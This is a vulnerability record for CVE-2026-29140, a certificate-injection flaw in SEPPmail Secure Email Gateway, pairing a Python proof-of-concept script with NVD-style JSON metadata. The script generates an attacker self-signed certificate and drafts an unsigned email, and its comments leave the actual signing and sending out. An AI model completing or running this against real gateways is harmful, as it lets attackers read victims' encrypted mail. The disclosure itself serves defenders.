CVE-2026-29140

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-29140 # This script demonstrates how to generate a malicious S/MIME signed email # containing an attacker-controlled certificate. from OpenSSL import crypto import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # 1. Generate Attacker's RSA Key Pair attacker_key = crypto.PKey() attacker_key.generate_key(crypto.TYPE_RSA, 2048) # 2. Create a Self-Signed Certificate for the Attacker cert = crypto.X509() cert.get_subject().CN = "Attacker Controlled" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10*365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(attacker_key) cert.sign(attacker_key, 'sha256') # Save cert to file for debugging with open("attacker_cert.pem", "wb") as f: f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) # 3. Construct the Email msg = MIMEMultipart() msg['Subject'] = "Important Update" msg['From'] = "[email protected]" msg['To'] = "[email protected]" # In a real exploitation scenario, we would sign this message # using the attacker's private key and embed the certificate. # The vulnerable gateway would then import 'attacker_cert.pem' # into the victim's encryption key store. body = MIMEText("This message contains a malicious certificate in its S/MIME signature.") msg.attach(body) print("[+] Malicious email structure created.") print("[+] In a real attack, send this email to the target gateway.") print("[+] The gateway will replace the victim's encryption key with the attacker's key.")

{"cve": {"id": "CVE-2026-29140", "sourceIdentifier": "[email protected]", "published": "2026-04-02T09:16:22.623", "lastModified": "2026-04-16T19:00:32.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SEPPmail Secure Email Gateway before version 15.0.3 allows an attacker to cause attacker-controlled certificates to be used for future encryption to a victim by adding the certificates to S/MIME signatures."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:seppmail:secure_email_gateway:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.0.3", "matchCriteriaId": "E3729650-81CA-4311-94BF-14A7A191F8D1"}]}]}], "references": [{"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure-1503", "source": "[email protected]", "tags": ["Release Notes"]}]}}